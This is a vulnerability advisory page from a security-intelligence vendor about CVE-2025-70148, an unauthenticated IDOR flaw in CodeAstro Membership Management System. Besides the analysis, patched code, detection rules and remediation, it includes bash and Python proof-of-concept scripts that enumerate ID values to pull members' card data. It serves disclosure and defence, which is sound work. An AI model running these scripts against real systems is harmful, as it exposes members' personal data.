☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-70148

CVE-2025-70148 Missing Authentication in Codeastro
📅 PUBLISHED: 2026-02-18 00:00 UTC 🔄 UPDATED: 2026-09-26 06:21 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: Membership Management System
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-70148 is a critical Insecure Direct Object Reference (IDOR) vulnerability in CodeAstro Membership Management System 1.0. The flaw resides in the print_membership_card.php script, which fails to enforce authentication or authorization checks. An unauthenticated attacker can directly access the membership card data of any user by manipulating the id parameter in a GET request. This leads to unauthorized disclosure of sensitive membership information, including personal identifiable data (PII) such as names, addresses, and membership details.

The vulnerability is trivial to exploit, requiring no special tools or prior access. The CVSS v3.1 base score is 7.5 (High), driven by the network attack vector, low attack complexity, and high confidentiality impact. No authentication is required, and no user interaction is needed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this system should treat it as a high-risk component in their software supply chain due to the lack of vendor support and patch availability.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No victim action required.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – Full disclosure of membership card data.
  • Integrity (I): None (N) – No data modification possible.
  • Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of remote exploitability, no authentication, and direct access to sensitive data makes this a critical risk for any deployment.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) in the print_membership_card.php script. The script likely retrieves membership card data from a database using the id parameter from the HTTP GET request without verifying the user's identity or authorization level.

Vulnerable Code Flow:

  1. The script receives a GET request with an id parameter (e.g., print_membership_card.php?id=123).
  2. It directly uses this id in a SQL query or file retrieval function to fetch membership card data.
  3. The data is then rendered and returned to the user without any session check, authentication token validation, or authorization logic.

Root Cause:

  • Missing authentication: The script does not verify if the requester is logged in.
  • Missing authorization: Even if authenticated, the script does not check if the requester has permission to view the specific membership card.

Attack Scenario: An attacker can enumerate user IDs (e.g., 1, 2, 3, ...) and send direct requests to print_membership_card.php?id=1, print_membership_card.php?id=2, etc., to harvest all membership card data from the system.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// print_membership_card.php - VULNERABLE VERSION
$id = $_GET['id'];
$query = "SELECT * FROM membership_cards WHERE id = $id";
$result = mysqli_query($conn, $query);
$card = mysqli_fetch_assoc($result);
// Output card data without any authentication check
echo json_encode($card);
?>

Patched Code (Conceptual):

<?php
// print_membership_card.php - PATCHED VERSION
session_start();
if (!isset($_SESSION['user_id'])) {
    http_response_code(401);
    die('Unauthorized');
}

$id = intval($_GET['id']);
$user_id = $_SESSION['user_id'];

// Verify the user owns this card or has admin privileges
$query = "SELECT * FROM membership_cards WHERE id = $id AND user_id = $user_id";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) === 0) {
    http_response_code(403);
    die('Forbidden');
}
$card = mysqli_fetch_assoc($result);
echo json_encode($card);
?>

Key Fixes:

  1. Added session-based authentication check.
  2. Validated that the authenticated user owns the requested card (authorization).
  3. Used intval() to prevent SQL injection (secondary hardening).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running CodeAstro Membership Management System 1.0.
  • Network access to the web server.

Exploitation Steps:

  1. Identify the vulnerable endpoint: http://target/print_membership_card.php
  2. Enumerate user IDs by iterating through numeric IDs.
  3. Send direct GET requests with manipulated id parameter.

Proof-of-Concept (PoC) using cURL:

#!/bin/bash
# Enumerate membership cards from ID 1 to 100
for id in $(seq 1 100); do
    curl -s "http://target/print_membership_card.php?id=$id"
done

PoC using Python:

import requests

target = "http://target/print_membership_card.php"
for user_id in range(1, 101):
    response = requests.get(target, params={"id": user_id})
    if response.status_code == 200 and "membership" in response.text.lower():
        print(f"Found card for ID {user_id}: {response.text[:200]}")

Expected Output: The script will return JSON or HTML containing membership card data (name, address, membership number, etc.) for each valid ID.

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor web server logs for sequential GET requests to print_membership_card.php with varying id parameters.
  2. Look for requests from a single IP address with a pattern of incrementing IDs.
  3. Alert on any access to print_membership_card.php without a valid session cookie.

Response Actions:

  1. Immediately block the attacking IP at the firewall or WAF.
  2. Review access logs to determine the scope of data exfiltration.
  3. Apply the patched code or implement a temporary WAF rule to block direct access to the vulnerable endpoint.
  4. Notify affected users and reset their membership card data if necessary.

Indicators of Compromise (IOCs)

Network IOCs:

  • Multiple GET requests to /print_membership_card.php?id=[0-9]+ from a single source IP.
  • Sequential or patterned id parameter values (e.g., 1, 2, 3, ...).
  • Requests lacking session cookies (e.g., no PHPSESSID cookie).

File System IOCs:

  • Unusual entries in web server access logs showing repeated access to print_membership_card.php.
  • Presence of automated scanning tools (e.g., Burp Suite, custom scripts) in logs.

Behavioral IOCs:

  • High volume of 200 OK responses from print_membership_card.php to a single IP.
  • Anomalous data transfer volume from the server to external IPs.

Detection Engineering

YARA Rule

rule CVE_2025_70148_IDOR_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2025-70148 IDOR in CodeAstro Membership Management System"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $s1 = "print_membership_card.php?id=" nocase
        $s2 = "membership_card" nocase
        $s3 = "id=" nocase
    condition:
        all of ($s*) and #s1 > 5
}

Sigma Rule

title: CVE-2025-70148 IDOR Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple sequential requests to print_membership_card.php with varying id parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "print_membership_card.php?id="
    condition: selection
    timeframe: 5m
    aggregation:
        - field: c-ip
          function: count
          condition: gt 10
falsepositives:
    - Legitimate admin enumeration (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70148 IDOR Exploit Attempt"; flow:to_server; content:"GET"; http_method; content:"print_membership_card.php"; http_uri; content:"id="; http_uri; pcre:"/print_membership_card\.php\?id=\d+/"; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint: Temporarily block access to print_membership_card.php via web server configuration (e.g., .htaccess deny rule).
  2. Implement WAF rules: Block requests to print_membership_card.php that lack a valid session cookie.
  3. Apply the patched code: Replace the vulnerable script with the patched version provided in the "Vulnerable vs. Patched Code" section.

Long-Term Fixes:

  1. Authentication: Implement session-based authentication for all sensitive endpoints.
  2. Authorization: Ensure users can only access their own data (e.g., by linking membership cards to user accounts).
  3. Input Validation: Sanitize and validate all user-supplied parameters (e.g., intval() for numeric IDs).
  4. Security Audit: Conduct a full code review of the application for similar IDOR vulnerabilities.
  5. Vendor Contact: Since the vendor (CodeAstro) has not released a patch, consider migrating to a supported membership management solution.

Compensating Controls:

  • Network segmentation to limit exposure.
  • Web application firewall (WAF) with virtual patching.
  • Enhanced logging and monitoring for suspicious access patterns.

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-70148/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.